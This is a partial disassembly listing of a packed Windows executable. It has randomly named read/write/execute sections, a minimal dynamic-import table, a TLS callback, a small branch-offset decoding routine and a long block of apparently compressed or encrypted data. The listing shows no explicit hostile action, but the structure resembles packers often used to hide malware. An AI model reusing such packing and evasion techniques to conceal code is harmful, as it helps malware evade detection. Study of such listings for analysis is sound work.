; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
iwe0sgrm	segment	para public 'CODE' use32
		assume cs:iwe0sgrm
		;org 420000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 1C00h dup(0)
iwe0sgrm	ends

; Section 5. (virtual address 00027000)
; Virtual size			: 00019000 ( 102400.)
; Section size in file		: 00019000 ( 102400.)
; Offset to raw	data for section: 00027000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_802izwe5	segment	para public 'CODE' use32
		assume cs:_802izwe5
		;org 427000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 0CCh
		db 70h,	2, 0
		align 8
		dd 0FFFFFFFFh, 2703Ch, 270B4h, 27108h, 0
		dd 0FFFFFFFFh, 270E8h, 27104h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
dword_4270B4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_4270B8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_4270BC	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_4270C0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_439ED1+113Ao ...
dword_4270C4	dd 7C809A51h, 7C809AE4h, 2704Ch, 27060h, 27070h, 27084h
; resolved to->KERNEL32.VirtualAlloc					; DATA XREF: sub_43FB9C+1Eo
		dd 27094h, 270A4h, 0
		dd 72657375h, 642E3233h, 6C6Ch,	654D0000h, 67617373h, 786F4265h
		dd 41h
dword_427104	dd 7E45058Ah	; resolved to->USER32.MessageBoxA					; sub_43FAED+64r
		dd 270F4h, 0
TlsDirectory	dd 0
TlsEnd_ptr	dd 0
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex	dd 0			; DATA XREF: _802izwe5:TlsIndex_ptro
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: _802izwe5:TlsCallbacks_ptro
		dd 0
; ---------------------------------------------------------------------------
		push	esi
		push	ecx
		mov	esi, eax
		mov	ecx, edx
		sub	ecx, 4
		cld


loc_42713E:				; CODE XREF: _802izwe5:00427155j
		lodsb
		shr	al, 1
		cmp	al, 74h
		jnz	short loc_427154
		mov	eax, [esi]
		bswap	eax
		add	eax, ecx
		mov	[esi], eax
		add	esi, 4
		sub	ecx, 4


loc_427154:				; CODE XREF: _802izwe5:00427144j
		dec	ecx
		jg	short loc_42713E
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
		dd offset dword_401000
		dd 6000434Ah, 1, 717E0000h, 3B4420D5h, 1C1DCC09h, 23F0889h
		dd 0B83E97F0h, 5E81C23Eh, 7702E8Ah, 291C8940h, 1C2173CCh
		dd 0B4040504h, 17FFF848h, 0C6970601h, 4E123446h, 43D07Fh
		dd 0AC92A87Ah, 0CAFEF739h, 0E1FE60ECh, 32680D7h, 4EEB4AD5h
		dd 1529C4C8h, 8C1E0829h, 90C2700Dh, 785097C0h, 1F4371h
		dd 0F2002619h, 6040E397h, 9D8DCC10h, 0E7A3B8h, 8DEC46A8h
		dd 5DF2D3FCh, 0AFF14F0h, 635B267Ah, 181B41Bh, 422950FEh
		dd 712CC218h, 6880A26h,	5EBA1EF4h, 754DD20h, 45689816h
		dd 148206EBh, 73564218h, 4E0FA4CAh, 0C8C50AEh, 7468890Ch
		dd 0E862C231h, 9044F0B5h, 0BAA0CA8h, 0E122B0BCh, 0F8EC8237h
		dd 7125BE9Fh, 34485CD8h, 3C350902h, 19011D79h, 8001119Ah
		dd 0E4DA42D1h, 20A1022Dh, 3609863Dh, 80962BA2h,	0B80F7AC4h
		dd 67CAD013h, 28CF402Ch, 91C2876h, 7F900254h, 2405C5D3h
		dd 0D5223E46h, 88203077h, 1412C87Ah, 69D39CDAh,	6A554099h
		dd 0FCFDF0D7h, 81B55260h, 0A402CFC4h, 78DD945h,	0D36B2A43h
		dd 0A321AE00h, 4B879386h, 0B11030h, 5D64EFA8h, 0C5A6F8AEh
		dd 51282A6h, 7BD63709h,	0B261765Fh, 7461A1F9h, 238D39ACh
		dd 0CBB73481h, 0ABDAFDC7h, 26AD4150h, 0C44A3590h, 0E412EAA2h
		dd 97595444h, 0B0B540BAh, 506487EDh, 0C2328065h, 8B0ABA48h
		dd 0B45BA89h, 0B2CAB253h, 0C9961302h, 6E44577Fh, 0E0B159F0h
		dd 52910627h, 5D623D4Ch, 81848BA2h, 7B156A40h, 0C0F41132h
		dd 0D1DA6667h, 0A8C1A1A7h, 0A8130731h, 0DB4B82A2h, 1CA5202h
		dd 2A1A4444h, 0E3C282CEh, 1A064C01h, 443C865Fh,	8A053B8h
		dd 3ABCC2Ah, 28A05DB5h,	1DE24FDAh, 91E8BB04h, 0BC9908A5h
		dd 7BAA9C7Fh, 0F6D01333h, 4D3F8186h, 2036B4C3h,	0CD8D8B45h
		dd 41266314h, 3C0000E6h, 0A3525E2Dh, 6887F7C6h,	6306086h
		dd 2573E195h, 58399A6Eh, 18AB50A4h, 1F164F23h, 0FBEF159Ah
		dd 0F0300507h, 2303D88Dh, 0ADC964E2h, 859449h, 0C6DE24Ah
		dd 0DC59D199h, 6515B280h, 4423844h, 509E628Dh, 40972578h
		dd 1CF49EA8h, 16A06867h, 92B163F8h, 71263EBh, 0B01B96F1h
		dd 824D15F8h, 53490309h, 3601960Dh, 65321B50h, 581A8A40h
		dd 0B59222F1h, 98463058h, 11003621h, 0F296967Fh, 79AF69E4h
		dd 27C8F38Ch, 4035180Dh, 90C29A59h, 4CA00E4h, 3C78965Ch
		dd 68AC5940h, 4B87CDAh,	0B8EBA539h, 0D0367E1Ch,	0C25029DAh
		dd 0B2921237h, 3749531Ah, 2E604EF8h, 75F30Dh, 0F7A4F832h
		dd 0C12E90A3h, 0C8BDD6FFh, 1B4C2F1h, 258E1348h,	462E615Ah
		dd 4828A618h, 0A1451A78h, 40906529h, 0B495D931h, 97149424h
		dd 0FA069E62h, 0F2A11D01h, 10C85C43h, 0D5868C0Dh, 1ADB5345h
		dd 56AB2855h, 8D8825ACh, 5EB77A6Eh, 2C7C7CA0h, 99659D6Dh
		dd 47F10574h, 456D1989h, 0E0431BB0h, 916BBA88h,	1E8F00F3h
		dd 34365C2Dh, 52A6F12Dh, 7EB82B9Ch, 7033C551h, 53448C2Ch
		dd 7E5B7016h, 0CD5456A9h, 1CCDCB79h, 6285B447h,	301E548Ah
		dd 88227F10h, 0A071B973h, 0E003C39Dh, 0ACBC03D1h, 3BC44345h
		dd 0D22244D8h, 0A454108Dh, 3E64C709h, 98B57F6Dh, 6B505B2h
		dd 40CD9C5Ah, 6CA84A62h, 0EA9069C7h, 0D542374Eh, 0F1191845h
		dd 17904CD1h, 0D87941EDh, 0DACA1102h, 0F5CF7E76h, 0B93DCECh
		dd 4651D525h, 0A52E4F3Bh, 0F8537879h, 4548B1D6h, 42C3F180h
		dd 5B567AEh, 0C47BB09Eh, 0D4DBA398h, 68AB441Eh,	0B690D70Fh
		dd 0BDFA4C4Dh, 93C20AB4h, 5198FD7Bh, 0C1DF6FD1h, 310A892h
		dd 0F153618Ah, 53CDD56Ch, 51E1E19Eh, 0F0A2454Dh, 371D1500h
		dd 0B231B1EAh, 8622775Ch, 631654D8h, 31349104h,	0A08A565Fh
		dd 4302182Dh, 0C084B29Ah, 255D0707h, 60B0AA53h,	51F3012h
		dd 0CD599075h, 8B10F7BEh, 13C76F7Ah, 0CE296F4Ah, 0E0E031F8h
		dd 483DA77Ah, 0DDA24B94h, 0B6A04030h, 1BA2E805h, 0D0035FEh
		dd 189044A8h, 8490925Dh, 69DE4615h, 0A213CCF7h,	518D0A1Bh
		dd 508A5027h, 0B5888153h, 7B601A47h, 45ABA1A4h,	6C468A1Ah
		dd 1B42AACDh, 0EC0604BDh, 0E50121FBh, 71825AAh,	0A53A2873h
		dd 0FFA9D46Bh, 48A5D532h, 0DCC93CCCh, 0C177D228h, 3DFA6395h
		dd 0C9428273h, 0C70B028Dh, 0DFA21248h, 11B23112h, 182B28C0h
		dd 310605BDh, 10AB05C4h, 82D29A3Fh, 8ADAA42Dh, 76211B75h
		dd 0DD75348Bh, 0D71714EFh, 5C084363h, 0C62B411h, 1FA4863h
		dd 29F6E5AEh, 0A930E07Bh, 0C5A32E1Eh, 5C3B8385h, 0E11D4F03h
		dd 0A5ADCF67h, 1ACE1A21h, 0E565748Dh, 690081F1h, 0B148E95Ah
		dd 0DB17E0C7h, 70A4CC8Ah, 0C2979E59h, 4E3E1225h, 0C3135B3h
		dd 0BDC617D1h, 0EC1EA9F7h, 0F10C9F04h, 0DFA697D8h, 0ECC027CBh
		dd 0E671A9A8h, 2E09AD00h, 846D104Fh, 953E9185h,	0A2A14555h
		dd 0EC7E6394h, 7623944Ch, 537B117Ch, 38421ADEh,	6A12E89h
		dd 20FA0853h, 0CBB88F83h, 96944407h, 404EA16Ah,	11EEAD54h
		dd 0D11BD07Fh, 8884381Fh, 37A9D1B9h, 0C5B590B3h, 4061D044h
		dd 330F6362h, 71835371h, 93311F27h, 359A3BC0h, 5AE4CADh
		dd 9290004Ch, 0C5F1DB80h, 306CBCD5h, 6C5A3F81h,	0A37096C8h
		dd 0A1B38BADh, 1786238h, 70111CD4h, 62DD51Ch, 59AC36BEh
		dd 0F51867C9h, 2920FC7h, 0D2165795h, 6E660A2Ah,	0E1F41896h
		dd 9D4FA4Fh, 401E7AD4h,	72375FE5h, 5DD6D872h, 0D7A9B00Dh
		dd 23358E42h, 0AC92F0FDh, 0E42AD1AEh, 91D06591h, 1AF7A4A1h
		dd 55411C18h, 0C207D201h, 4981CA2Eh, 0A1DFDD2h,	4268DEB1h
		dd 97D12CDh, 0E473B6F2h, 0AF58AA14h, 53F001AEh,	804CD627h
		dd 0F3B9C3h, 0B6ACAD16h, 160B0693h, 0E6B02E72h,	0BAA15B9h
		dd 72A2471Bh, 40899853h, 0EF5BE47Ah, 90C69EC1h,	0D87ACDAEh
		dd 0DCA84240h, 0A0225A2Ch, 0A56BA046h, 1FE7914h, 0AE4A975h
		dd 6502C426h, 0CC536986h, 523FD59Ah, 0C9FA4579h, 0A3669C9Ch
		dd 2ABDA3A4h, 865F0C68h, 91EB69D6h, 68562081h, 4A8B81ACh
		dd 984C1CEDh, 68CACE8Dh, 0AE9A932Ah, 8F1A9889h,	6609ACB9h
		dd 0E85C9689h, 606CCCB6h, 15375437h, 7957871h, 0B515FEBDh
		dd 8F3D1E6h, 99B93352h,	23965A8Ah, 0B1400481h, 0EC0C88C0h
		dd 8834552Bh, 0E4AE6516h, 0C12A1B09h, 0D15BD114h, 0AD46CA0h
		dd 0ACCC2E0h, 0D1F4C027h, 47ADB43Eh, 419254F5h,	920FFC82h
		dd 305EB22h, 0FBFDD23Ah, 86351511h, 7EC3AD05h, 0C04484A0h
		dd 54D68962h, 0F37D700Eh, 0C3A70069h, 0DB440479h, 9AD9361Bh
		dd 818C40EAh, 0EFFD4979h, 0B5ED7EC3h, 7596E0F4h, 0AC7C8958h
		dd 899F15EBh, 65923F23h, 4927BC0Dh, 0DA09FE0Fh,	66CFE844h
		dd 304B16Dh, 0FE2FCF66h, 21D68953h, 8C7E5738h, 0FF113174h
		dd 5C4992D2h, 36DA2D44h, 6B14C54Ch, 1398E53h, 0DE808B92h
		dd 26051044h, 0B1BBD2D3h, 5F318240h, 0B40C28ACh, 20666B2Ch
		dd 0D1A923F1h, 0C4AD1D85h, 681188D0h, 0DB97504Ch, 8431B2B4h
		dd 6038F7Ch, 7159B370h,	0DB7CB94Bh, 97348DCBh, 978FCCCDh
		dd 0B0DD22CDh, 0BE520D29h, 975580AEh, 0A306A073h, 0CB6B1A28h
		dd 387A5639h, 0B98BB29Dh, 0CEE490DCh, 11FB07FCh, 42108884h
		dd 6FBFE41h, 231C976Ch,	181D39D8h, 0D7A4ADh, 706C08A3h
		dd 0F423626Bh, 0BBB168BEh, 142DAA24h, 0A200C923h, 116FCFCh
		dd 9689D314h, 8AD2A427h, 7C50A28Fh, 629A0531h, 1A75494Ch
		dd 0CC093F3Ch, 29689C89h, 24E38E4h, 47CAA399h, 5C323FF7h
		dd 0F64C0FDDh
		dd 43077211h, 8034022Ah, 17628A61h, 221FB239h, 0A16FB807h
		dd 8B47657Bh, 7E575CCDh, 0F309A760h, 294212A8h,	9A888AE2h
		dd 8EA0631Fh, 8ACD02Ah,	0C23E32C4h, 82A7286h, 0C1328BF0h
		dd 42D5FC91h, 4C488172h, 22BD0256h, 9B9C0C10h, 0A2089F94h
		dd 0F5460A60h, 5C6D837Dh, 31CD9470h, 0D50A445Bh, 0FA86A7BAh
		dd 11137AD0h, 823C0DA3h, 3FA07BEEh, 112B4499h, 5405F00Ch
		dd 102ECBDFh, 0C6CA88E5h, 4401B6EDh, 119509F6h,	5E30A71Bh
		dd 0CA1476B4h, 0A456E05h, 0D3ACE5h, 1F420FA2h, 0DD568C48h
		dd 0D2048BDCh, 45185A59h, 0E556F9BBh, 0E455CFDh, 0C7D5C646h
		dd 0D189A16Fh, 0AE5007B9h, 1646166Fh, 271FFADh,	0E11A8569h
		dd 67F2F8FBh, 45680753h, 0E2A4852Ah, 0F31E9725h, 3CD5A600h
		dd 0B458A521h, 48B52118h, 8F733D44h, 0AC19CADDh, 0DB7A6AA1h
		dd 0C7FAD97h, 93A65C88h, 67052E90h, 0DA5D8187h,	26EABACAh
		dd 499DC790h, 0CEACF666h, 201FEC5Ah, 0E1E4F261h, 6050FA2Fh
		dd 0AD50C568h, 0DF05B300h, 0C7BDCA4Eh, 4FAA6A8Eh, 3C8E969Fh
		dd 0F23B200Dh, 900E804Eh, 34F5A83h, 0AF3698CAh,	0E0E04126h
		dd 0A9408625h, 37CBA1ECh, 4D049DAh, 6B447D3h, 2A63AA91h
		dd 0D6884F63h, 9B4FC6ACh, 3B73F1AAh, 0D5C8525Bh, 0C075C478h
		dd 0F59EF11Ah, 0E07D8B52h, 0BB39235Bh, 77881006h, 0E517DF61h
		dd 0A054D40Ah, 0B085EED8h, 3C084063h, 0DE625DE2h, 22E0E788h
		dd 1E8D83C8h, 0C11534F1h, 1369DB6h, 0CB97A40Ah,	52D1D36Dh
		dd 0C1092159h, 0F21E7CF5h, 1938F289h, 0EA4431CCh, 208062E1h
		dd 10838062h, 5C8B18C5h, 28AB2118h, 28196DB4h, 0E3F0A644h
		dd 7484B5C6h, 8FEA8140h, 1024E04Bh, 0FA209173h,	0CE427114h
		dd 12E05131h, 586C80C4h, 0AA42AA2Eh, 0A2A8C325h, 0E70EB955h
		dd 7E4AEE8Bh, 468A4401h, 94AA8E11h, 0C3252505h,	0D3F0926Ch
		dd 91E0AA0Ch, 4DFA2DC0h, 12F04529h, 68C36271h, 893355B4h
		dd 2A06BE10h, 0C42D8127h, 8AA53006h, 23C917C3h,	0C4D0BF4Eh
		dd 1156F2ACh, 15116506h, 0EB0B4295h, 8D1679E7h,	2CD1633Eh
		dd 116EF363h, 3EC06F68h, 2CD51481h, 62819390h, 0AE7B2E7Fh
		dd 0FDA2305Eh, 49102DECh, 937500D3h, 55067724h,	0D0532108h
		dd 33F9AB47h, 83355514h, 183FFB71h, 930CA845h, 6C86A7F5h
		dd 961B1D3Ah, 5187171Ch, 421D763Ch, 3174DBC9h, 0A026FF02h
		dd 35A3478Dh, 0CACB24AAh, 0A3D822D8h, 33934675h, 74BEF042h
		dd 5CBA69DEh, 31AE01F6h, 2214A3F6h, 0ACB4D8B6h,	13EF5618h
		dd 744B7619h, 1607A231h, 0BBBBA43Bh, 0A60FF3B0h, 0AA13292h
		dd 89684BE4h, 2BC91430h, 8A06E00Ah, 24F404Dh, 80D485DCh
		dd 0DA77C0A3h, 0B59406EAh, 839991A7h, 2205FE24h, 356E2C62h
		dd 0E4677288h, 0D3F043F6h, 4B92B4DAh, 0C2C000C6h, 686B0415h
		dd 0E1CB94Ch, 71596261h, 650D37DFh, 8ED056D4h, 567B9735h
		dd 98DC691Ch, 0BE95152h, 0D9E06791h, 0E071A51h,	0B1A48316h
		dd 495F5A2Dh, 3C00942Ah, 0A8BB046Dh, 5F8345C8h,	0A19D759Bh
		dd 75637673h, 30208B62h, 8DAC2A0Eh, 12946240h, 0BA3C942h
		dd 0B9310BAAh, 4051CD0Dh, 5B258A1h, 38B119FFh, 2865B0D6h
		dd 1458EEDh, 9F0A72EFh,	158346FBh, 0D34D5961h, 31B11A76h
		dd 0D053768Eh, 4AD0ADE5h, 4392E7B7h, 973D3894h,	0B1635C30h
		dd 0C26ED0CBh, 0A7478DC7h, 4F75DCFCh, 0A2A34745h, 0E11A01BBh
		dd 0EE4670CBh, 57586E61h, 3E8820C6h, 7B461F9Fh,	0EFB84215h
		dd 7CE4BDF3h, 34939F94h, 2AB62E6Bh, 787CF0E8h, 0F85B0F4Bh
		dd 7A074EB8h, 94B4A185h, 7588A69Fh, 1660AE2h, 6D3BC2DFh
		dd 0BE81D51Fh, 57661BBDh, 61BA6FCFh, 45A827AAh,	83D289F9h
		dd 319CA713h, 35667088h, 1972CFD3h, 1A442DA4h, 0D1EB30E6h
		dd 0D058E87Eh, 1F94541Eh, 0F5C416F9h, 9424C257h, 99993487h
		dd 0AF3145F9h, 54C32AE7h, 14593581h, 0FE246B30h, 0AC4712C1h
		dd 63110724h, 0EB913333h, 0C4AD5A21h, 0C51BB20Ch, 5E545C45h
		dd 5A01C072h, 4E387385h, 94036AABh, 4548ED50h, 4BE0C980h
		dd 43F060F1h, 70190689h, 0DA5691B7h, 0A22700D9h, 17750DE6h
		dd 0E23C4D96h, 0C220B158h, 0C0CD7530h, 0C8F26140h, 0A828D91h
		dd 0BAD532C3h, 0C069712Fh, 0B51AD8F8h, 0D3D920B2h, 4A5CF258h
		dd 6C70FEE9h, 0C463C7A6h, 0C28B6358h, 0A349F2A0h, 234929F4h
		dd 0A5410A56h, 26172373h, 0CAE9C17h, 0F224C9DBh, 34064E6Fh
		dd 3C62D0EEh, 5A71B14Ch, 4E150C43h, 777E16B1h, 3A9D2C05h
		dd 1D2E444Dh, 79F4B551h, 0D096B407h, 43CBFCBDh,	0E52E8A80h
		dd 779A1AA1h, 88E6F948h, 6A83F5A6h, 0CB4FA79h, 47285A29h
		dd 0CE4DAD66h, 568988BDh, 0DF3F4812h, 9D4C065h,	0E680A8E3h
		dd 26084630h, 4725C6DAh, 40D2ED3Dh, 0D6AF88FAh,	2B43F5CBh
		dd 6AA7508Ah, 45171179h, 8E617354h, 82E40FA1h, 3F987659h
		dd 0D15B225Ah, 9F8446D8h, 2374D5A3h, 26401Ah, 15517DAFh
		dd 38A0C048h, 2571B598h, 40735414h, 45145EFFh, 0F5A77A05h
		dd 0A81AD406h, 1B6F54E4h, 8FC3B8B2h, 3D71AA36h,	34A42AFh
		dd 15393428h, 22E92F0Ah, 0B6A6CCC2h, 9BCF8B0Fh,	0D9534FE2h
		dd 44B330B0h, 0F1BE54ACh, 0FFB40F63h, 0ABE14A16h, 152EB3C5h
		dd 6214F85Ah, 0E2E5B536h, 3D674A1Fh, 3D830040h,	864B8C88h
		dd 94248BB6h, 16FF1967h, 0E849E504h, 91686DB2h,	917312Ah
		dd 234FCB84h, 0B9107375h, 0B827A06Ah, 238832E6h, 405652A4h
		dd 2550A00Dh, 53E93D2Bh, 0F141131Bh, 206930CBh,	0D72D14FCh
		dd 0D22D490Bh, 688905DAh, 0C380104Bh, 0A0150A60h, 3DF9EA36h
		dd 18496243h, 1F440454h, 4A8FE25Ch, 8E642309h, 5DFD81EAh
		dd 75730BAh, 0BA2C6C20h, 7274040h, 1244A48Ah, 0D974F3EEh
		dd 0F09C5300h, 0F5B30B53h, 91C6AC51h, 2986088Ah, 5CFFA7ABh
		dd 0FDB0D8BAh, 0C2DB6F5Dh, 481656BAh, 3AEA8DCBh, 188CD754h
		dd 0C65A03ADh, 23856D2Fh, 520B2E9Ah, 8FF2E803h,	0B01AB449h
		dd 0E4D30A3Bh, 308A3AB4h, 8B893E51h, 308AD82Eh,	8FB59B45h
		dd 3B8CD83Fh, 0D95BA6Fh, 6D520A9Ch, 73297D54h, 2F1A28BFh
		dd 977BC394h, 0C329A3F2h, 13BD1028h, 0AF816A84h, 42D913B0h
		dd 6C8A62E8h, 9053555Bh, 120C602Ch, 0B0B0C46Dh,	0CFD330F6h
		dd 451BF4Ch, 0FCED8906h, 3D8B0034h, 0CFD190C4h,	20B0F7EBh
		dd 6C75AB7Bh, 50387E7h,	0B38C0596h, 895A2EA0h, 57E948CCh
		dd 6E653F98h, 67F9363Eh, 15B42A45h, 438146B5h, 0ED4B7316h
		dd 93DEA658h, 0AAA33F78h, 7974020h, 0EC192987h,	50A0F088h
		dd 1B2B7D9Fh, 81DE0A29h, 941DB185h, 799380D4h, 0D2F83817h
		dd 43000665h, 99059903h, 26476AAh, 0A8DE062Ah, 718740Ch
		dd 5636BB7Bh, 695DD4AEh, 99440C32h, 94CFAA09h, 0BFD7AE92h
		dd 4B78EA24h, 0A0123D68h, 256991A9h, 2449E911h,	23296111h
		dd 22095911h, 3F9B5011h, 6BA5490Dh, 0C80B9914h,	7B051DBFh
		dd 8770B8F7h, 0CBF96611h, 0D8A0F180h, 0F8008641h, 87000297h
		dd 410C0AB5h, 4481EA0h,	0C4DCEC38h, 447B9160h, 671123DCh
		dd 3DA8688Fh, 88F6ED02h, 248D47B5h, 5055911Eh, 4F12FC39h
		dd 11693D51h, 496698D3h, 2A40E76Dh, 6EB15D3Dh, 6CF53B18h
		dd 0E98BF9FEh, 0F22E2D6Ah, 4E5D9F4Fh, 6209383Eh, 492C816h
		dd 868BC53Dh, 1ACD4177h, 0FAE1E619h, 0C1ACAACh,	55CB67A5h
		dd 0BD81B819h, 0B68B8288h, 0D6AC9C29h, 0E123F128h, 0A06950DEh
		dd 89C02629h, 0F91F493Dh
		dd 6963A260h, 0AF4F778h, 82F0C4E9h, 0F2477A53h,	811ABBF3h
		dd 27EF9824h, 0B24D8ADAh, 6E00CCE0h, 13912E48h,	0B844B9C3h
		dd 0E348B507h, 70E20589h, 108593C4h, 3D43282Ah,	98387E4Ah
		dd 0C40A736Ah, 0B542F1DCh, 20A2110h, 842218B4h,	31F4C057h
		dd 0FC61DF17h, 7D13951h, 371CA8BDh, 4455254Bh, 8A2E0D20h
		dd 9BACE214h, 4E04C399h, 2A9DA881h, 0B07136CCh,	0F38C2C58h
		dd 1A16E80Eh, 908045B2h, 2CB6937Bh, 2A5964E4h, 0BFC385A0h
		dd 44213731h, 1887789Ah, 0B419887Ah, 84301110h,	4981436h
		dd 0F0244CE2h, 5F134CC1h, 1AB200B0h, 0B488418Ch, 30B0F51Ah
		dd 0A01E34A2h, 2A10FCE8h, 8D924502h, 824FB8DEh,	9E62EA3h
		dd 6E3F1DC6h, 4143C85h,	175B72A5h, 0A454B2F8h, 9117950Bh
		dd 88841DAEh, 27983E86h, 5EBF100Fh, 1C638420h, 0E6D7102Eh
		dd 541E4582h, 2205C098h, 5E62B7EFh, 0CBC8143Fh,	9F0469E3h
		dd 6F7CA227h, 0F462D0F2h, 2CB19A78h, 0A895E0DBh, 0A217A2E4h
		dd 0E19D0EE0h, 0F8C387F7h, 0D0A4EC1Bh, 0B80E2864h, 0A08A46D5h
		dd 604B56C5h, 1A6F0F30h, 5781F113h, 405890BDh, 21C7898Ah
		dd 81483CA0h, 0E22157C8h, 1C35A5CDh, 7989680Bh,	2149A513h
		dd 8855741h, 50D91F37h,	0C250A0CCh, 3423144Dh, 0FF02C610h
		dd 0C6A0EA4h, 406B36C9h, 0D54F0A53h, 42A391DFh,	2809624Fh
		dd 67C90A2Bh, 0A297986Eh, 0A831AD6Fh, 4C5349F0h, 800189E3h
		dd 3CC70566h, 0FD086231h, 2766039Fh, 9F9C1F20h,	0D3201BF9h
		dd 182EC098h, 4E5651C5h, 72783E55h, 73E1F222h, 46E35107h
		dd 0F97CA690h, 4846CBAAh, 9E079748h, 0ADA24824h, 5AC73308h
		dd 669C4CE0h, 44161339h, 70FD8817h, 238B3403h, 602BFB9Bh
		dd 265DCEC1h, 182D50FCh, 2081770Ah, 4842495Ch, 60F7191Ch
		dd 3C103989h, 0C0C3A034h, 50D68730h, 95C75781h,	9C19D416h
		dd 0FE08E59Dh, 414A502h, 3F8212E4h, 79B8DB30h, 0A2B32578h
		dd 120432CBh, 95E8C42Fh, 491265D8h, 6B2582Ah, 0C6E66BDCh
		dd 0D40D5307h, 7451A04Eh, 88A32ECDh, 1723D1C3h,	10BC4533h
		dd 4134467Ch, 0DF32ADCBh, 4C0D0506h, 72BF0451h,	0BCD2E150h
		dd 175AAA2h, 3EBD2CF4h,	2F9424D4h, 33F2EB94h, 0D847FA32h
		dd 20059E28h, 0BE85527h, 502313EBh, 9967232Fh, 0E2CE59E5h
		dd 0FC07D204h, 45EC43F6h, 7C8ED051h, 144E4599h,	3F0D23F3h
		dd 0E1AB056h, 0FB49D6D5h, 0FFFC20E8h, 0B2377D14h, 8E503384h
		dd 9AF26DC6h, 0A9BD92F8h, 60A6F6B8h, 0C3895631h, 4F5CA0B3h
		dd 919B1245h, 1488C989h, 0DCBFF1C9h, 0BEE8AECAh, 8E9C7DC0h
		dd 2785D02Ch, 5D45AC8Fh, 0E9091C74h, 0D4AE4DE2h, 0F4625D1Ch
		dd 0C4D0BA39h, 0A970D1A0h, 0A5E84646h, 0F00A41D6h, 80B99DA2h
		dd 47D05753h, 2D04584Bh, 950B5EB5h, 4356989Fh, 0B0151145h
		dd 0EEC295A2h, 84D6FEC4h, 50132531h, 24D1EE22h,	22496F02h
		dd 459C36F2h, 0AB14136Fh, 84D1D43Ah, 0E0094D8Ch, 9A714DBh
		dd 0A09BC7B1h, 3918D113h, 71DC7E11h, 65A386C3h,	0E713AF6Ah
		dd 9A066813h, 8F7DBF88h, 6D041358h, 9B422C42h, 8CC14434h
		dd 640112Ch, 9D14DFC5h,	309A8732h, 49E244A6h, 4B07D184h
		dd 27796D1Ch, 18023D0Bh, 11C4D235h, 7B8F784Ah, 0EC444BACh
		dd 440A0506h, 7538D680h, 76DE01CBh, 0A2D102A0h,	7BECEC0h
		dd 14413068h, 30300DC0h, 0A2094CA2h, 8C4F6713h,	3E7A5A21h
		dd 2F66DE82h, 0FDC25D79h, 2A941D10h, 0E6B4ADE3h, 224F3125h
		dd 0BFB4DC4Ah, 0F97B90ADh, 0E5F36B57h, 7E4CAA1Eh, 0E7F91179h
		dd 61F4AA9Eh, 75890DEAh, 956E401Ah, 0FE06D037h,	628EB739h
		dd 713130B1h, 0A3C8FC72h, 215C2895h, 0D699F2EEh, 241CEBEEh
		dd 0AB1AEE7Fh, 23A8A401h, 0EAF0F3Eh, 73F85852h,	34B1B787h
		dd 0F0D6CC1Ch, 0AB902F5h, 46A2822h, 1E3E0C9Fh, 989D4322h
		dd 200DDBADh, 46D88F6Ah, 0A3882848h, 904D2424h,	442EC5B3h
		dd 38CC83FCh, 0A173D116h, 0FDF462E8h, 0EF76AE90h, 0ADA016B1h
		dd 33B90648h, 859C0983h, 6FB9ED57h, 80729808h, 9F7D2617h
		dd 29A048A0h, 3B19B1CFh, 0DEC2D87h, 0D6F54776h,	63C9CCF0h
		dd 5747D1F6h, 8D1A8554h, 1964462h, 55E1B9EAh, 0F8AEA56h
		dd 0A3EDA66Ch, 4A68A89Ah, 6BCBF08Ah, 1B5CBBC7h,	4631E5DBh
		dd 4B02E40Fh, 0CAAD4B1Dh, 655723E9h, 3CAA0657h,	0CFE9E048h
		dd 6D361EF3h, 6751457h,	0F9352E99h, 5DB3E4A9h, 25C50105h
		dd 394FD0D6h, 168A367Dh, 55FB9CF5h, 6C802354h, 2357D1Ah
		dd 0EB80DDA4h, 3407B722h, 70613C07h, 40404A20h,	0DA6C9482h
		dd 4D65BD7h, 29C11687h,	0A656D91Eh, 1F0BF414h, 40CFFAF8h
		dd 0CB02F93Fh, 88933AF5h, 57C79FADh, 3706EFD0h,	94E0AE86h
		dd 0ABE340AEh, 8E91981h, 556F45Eh, 6D6DE059h, 64FA4844h
		dd 89181FE5h, 885A02ABh, 0E7013290h, 0FF384581h, 4311E461h
		dd 0A0223E08h, 0F4417495h, 45176C49h, 0F3553C24h, 1A17A308h
		dd 6D24B2EAh, 455C5098h, 0BA125C2Ch, 4523D8FAh,	92BD704Bh
		dd 0AF9F14AFh, 772EFBF7h, 36D0ED05h, 70582A98h,	8C3611F2h
		dd 2D035726h, 11F2B91Dh, 7C65B44Ch, 0BB1104EEh,	0F5064493h
		dd 314A68A1h, 0BE8BAA1h, 0C890607h, 543B2006h, 88388FE5h
		dd 9F05C0Ah, 1FBC9B41h,	8D091696h, 0EE8E5A31h, 99834711h
		dd 91EE49E6h, 0E2AB0799h, 42DD8667h, 81368DCh, 1911C9B4h
		dd 0CA2F9D87h, 3E0BFE06h, 0B70AD06Eh, 64FA7AB2h, 0A38E4300h
		dd 0DAA2D037h, 785D5B7Bh, 1FAEADD3h, 7E05920Ch,	0CFA33170h
		dd 0C15C9709h, 0B278696h, 0EA90F49Ah, 2BAFB243h, 283E5480h
